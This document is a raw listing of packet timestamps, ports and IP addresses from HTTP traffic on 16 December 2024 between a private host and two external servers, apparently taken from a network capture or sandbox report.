Dec 16, 2024 17:02:23.974174976 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.974272966 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.974315882 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.974682093 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.974790096 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.974809885 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.974827051 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.974858046 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.974870920 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.975157022 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.975202084 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.975697041 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.975747108 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.975776911 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.975792885 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.975821018 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.975833893 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:23.976246119 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:23.976289034 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.024216890 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:24.024230957 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:24.024288893 CET	49713	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:24.024302959 CET	49713	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:24.024328947 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:24.024342060 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:24.024354935 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:24.024373055 CET	49713	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:24.024391890 CET	49713	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:24.024403095 CET	49713	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:24.024674892 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:24.024718046 CET	49713	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:24.068871975 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:24.069078922 CET	49713	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:24.145663023 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.145792961 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.145809889 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.145911932 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.146100998 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.146148920 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.146332026 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.146348000 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.146377087 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.146397114 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.146744013 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.146761894 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.146801949 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.147106886 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.147150993 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.147294998 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.147319078 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.147341013 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.147387028 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.147645950 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.147690058 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.147864103 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.147921085 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.148130894 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.148147106 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.148173094 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.148188114 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.148547888 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.148601055 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.148912907 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.148929119 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.148967981 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.149143934 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.149159908 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.149190903 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.149215937 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.149780035 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.149919033 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.149935007 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.149986029 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.149986029 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.150151968 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.150554895 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.150598049 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.150707960 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.150723934 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.150751114 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.150775909 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.151032925 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.151421070 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.151434898 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.151478052 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.151495934 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.151658058 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.151674032 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.151715994 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.152309895 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.152354002 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.152448893 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.152465105 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.152494907 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.152515888 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.152776003 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.152825117 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.153170109 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.153213024 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.153297901 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.153314114 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.153338909 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.153383017 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.153688908 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.153731108 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.154202938 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.154247046 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.154289961 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.154304981 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.154330015 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.154345036 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.154520988 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.155019999 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.155066013 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.155122042 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.155138016 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.155168056 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.155205965 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.155462980 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.155883074 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.155898094 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.155930042 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.155952930 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.156091928 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.156107903 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.156150103 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.156785011 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.156867981 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.156883001 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.156913042 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.156924963 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.157078981 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.157634020 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.157654047 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.157680988 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.157706022 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.157882929 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.157897949 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.157938004 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.158525944 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.158569098 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.158648014 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.158663034 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.158695936 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.158710003 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.158997059 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.159440994 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.159456015 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.159483910 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.159507990 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.159622908 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.159638882 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.159679890 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.160274029 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.160320997 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.160422087 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.160439968 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.160465002 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.160476923 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.160768032 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.160825014 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.161211967 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.161227942 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.161253929 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.161267042 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.161421061 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.161437035 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.161484003 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.162322998 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.162367105 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.162405014 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.162420988 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.162468910 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.162753105 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.162785053 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.162786007 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.163075924 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.163250923 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.163265944 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.163297892 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.163328886 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.163522005 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.163894892 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.163909912 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.163938046 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.163968086 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.164155006 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.164170980 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.164215088 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.164787054 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.164813042 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.164829969 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.164855957 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.164872885 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.165172100 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.165613890 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.165672064 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.165757895 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.165776968 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.165824890 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.165837049 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.166114092 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.166676044 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.166692019 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.166719913 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.166748047 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.166887999 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.166903973 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.166946888 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.167469978 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.167520046 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.167628050 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.167644024 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.167670965 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.167682886 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.167929888 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.168351889 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.168368101 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.168397903 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.168431044 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.168452024 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.168831110 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.188148022 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:24.188890934 CET	49713	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:24.232038021 CET	80	49713	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:24.337608099 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.337769032 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.337785959 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.337833881 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.337872028 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.338074923 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.338306904 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.338321924 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.338351965 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.338382959 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.338630915 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.338646889 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.338687897 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.339109898 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.339137077 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.339154959 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.339159966 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.339180946 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.339193106 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.339634895 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.339677095 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.339818954 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.339834929 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.339860916 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.339873075 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.340188980 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.340204000 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.340229988 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.340241909 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.340596914 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.340807915 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.340822935 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.340833902 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.340847015 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.340869904 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.341259003 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.341301918 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.341605902 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.341645956 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.341710091 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.341727018 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.341753960 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.341766119 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.342016935 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.342498064 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.342514038 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.342542887 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.342569113 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.342834949 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.342849970 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.342895031 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.343286037 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.343343019 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.343441010 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.343456984 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.343486071 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.343502998 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.343764067 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.344177008 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.344223976 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.344393969 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.344409943 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.344436884 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.344449043 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.344643116 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.344835043 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.345098972 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.345114946 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.345143080 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.345155954 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.345249891 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.345531940 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.345577002 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.345954895 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.345968962 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.346000910 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.346026897 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.346151114 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.346167088 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.346206903 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.346893072 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.346937895 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.347042084 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.347057104 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.347083092 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.347095966 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.347356081 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.347770929 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.347785950 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.347815037 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.347856045 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.348094940 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.348110914 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.348135948 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.348150969 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.348741055 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.348757982 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.348773003 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.348793030 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.348805904 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.349092960 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.349137068 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.349479914 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.349524021 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.349631071 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.349647045 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.349668980 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.349698067 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.350035906 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.350486994 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.350534916 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.350673914 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.350687981 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:24.350720882 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:24.350739002 CET	49712	80	192.168.2.8	31.41.244.11
